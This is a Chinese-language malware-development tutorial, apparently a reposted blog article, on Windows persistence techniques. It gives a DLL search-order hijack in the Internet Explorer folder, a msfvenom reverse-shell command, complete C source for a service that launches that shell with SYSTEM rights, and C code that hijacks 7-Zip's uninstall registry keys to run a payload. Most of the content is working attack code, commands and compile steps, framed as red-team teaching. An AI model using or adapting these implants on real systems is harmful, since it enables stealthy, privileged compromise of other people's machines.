【MalDev-05】持久化基础与实战-2

admin 2024年11月26日10:03:50评论8 views字数 5098阅读16分59秒阅读模式

03-DLL搜索顺序劫持

【MalDev-05】持久化基础与实战-2

发现C:Program Filesinternet explorersuspend.dll

【MalDev-05】持久化基础与实战-2

需要管理员权限把恶意dll文件复制到C:Program Filesinternet explorersuspend.dll,打开IE的时候dll会被加载运行,在windows11上仍可以成功

04-利用服务持久化

注册成服务,需要管理员权限

先生成反弹shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4445 -f exe > meow.exe

再编写创建服务代码

#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);

// run process meow.exe - reverse shell
int RunMeow() {
  void * lb;
  BOOL rv;
  HANDLE th;

  // for example: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe
  char cmd[] = "Z:\packtpub\chapter03\04-exploring-windows-services-for-persistence\meow.exe";
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  ZeroMemory(&pi, sizeof(pi));
  CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
  WaitForSingleObject(pi.hProcess, INFINITE);
  CloseHandle(pi.hProcess);
  return 0;
}

int main() {
  SERVICE_TABLE_ENTRY ServiceTable[] = {
    {"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
    {NULL, NULL}
  };

  StartServiceCtrlDispatcher(ServiceTable);
  return 0;
}

void ServiceMain(int argc, char** argv) {
  serviceStatus.dwServiceType        = SERVICE_WIN32;
  serviceStatus.dwCurrentState       = SERVICE_START_PENDING;
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
  serviceStatus.dwWin32ExitCode      = 0;
  serviceStatus.dwServiceSpecificExitCode = 0;
  serviceStatus.dwCheckPoint         = 0;
  serviceStatus.dwWaitHint           = 0;

  hStatus = RegisterServiceCtrlHandler("MeowService", (LPHANDLER_FUNCTION)ControlHandler);
  RunMeow();

  serviceStatus.dwCurrentState = SERVICE_RUNNING;
  SetServiceStatus (hStatus, &serviceStatus);

  while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
    Sleep(SLEEP_TIME);
  }
  return;
}

void ControlHandler(DWORD request) {
  switch(request) {
    case SERVICE_CONTROL_STOP:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState  = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;

    case SERVICE_CONTROL_SHUTDOWN:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState  = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;

    default:
      break;
  }
  SetServiceStatus(hStatus,  &serviceStatus);
  return;
}

编译

x86_64-w64-mingw32-g++ -O2 meowsrv.c -o meowsrv.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

管理员权限添加服务

sc create MeowService binpath= "C:UsersadminDownloadsmeowsrv.exe" start= auto
【MalDev-05】持久化基础与实战-2

添加成功后重启,服务会运行,且权限是系统权限

查看服务

sc query MeowService

启动服务

sc start MeowService
【MalDev-05】持久化基础与实战-2

系统权限

停止删除服务

sc stop MeowService
sc delete MeowService
【MalDev-05】持久化基础与实战-2

注意meow.exe不是服务类型程序,作为服务需要使用meowsrv.exe,实战中更多的是更改现有服务而不是新建服务

05-其他持久化

卸载程序注册表项,关注下面注册表位置

HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall<application name>
HKLMSOFTWAREMicrosoftWindowsCurrentVersionQuietUninstallString<application name>

以7z为例,卸载的时候会运行Uninstall.exe

查询注册表

reg query "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall7-zip" /s
【MalDev-05】持久化基础与实战-2

写一个helloword程序和一个修改注册表程序

#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  MessageBox(NULL, "Hello, Packt!", "=^..^=", MB_OK);
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

代码

#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  // target app
  const char* app = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-zip";

  // evil app
  const char* exe = "C:\Users\user\Desktop\packtpub\hack.exe";

  // app
  LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)app, 0 , KEY_WRITE, &hkey);
  if (res == ERROR_SUCCESS) {
    // update registry key value
    // reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall7-zip" /v "UninstallString" /t REG_SZ /d "...hack.exe" /f
    RegSetValueEx(hkey, (LPCSTR)"UninstallString", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegSetValueEx(hkey, (LPCSTR)"QuietUninstallString", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
    RegCloseKey(hkey);
  }

  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

管理员运行后,查看注册表

【MalDev-05】持久化基础与实战-2

卸载7z的时候hack.exe会运行

【MalDev-05】持久化基础与实战-2

父进程是SystemSettings.exe

还原注册表

reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall7-zip" /v "UninstallString" /t REG_SZ /d "C:Program Files7-zipUninstall.exe" /f
reg add "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionUninstall7-zip" /v "QuietUninstallString" /t REG_SZ /d "C:Program Files7-zipUninstall.exe" /f

 

原文始发于微信公众号(高级红队专家):【MalDev-05】持久化基础与实战-2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月26日10:03:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【MalDev-05】持久化基础与实战-2https://cn-sec.com/archives/3437901.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息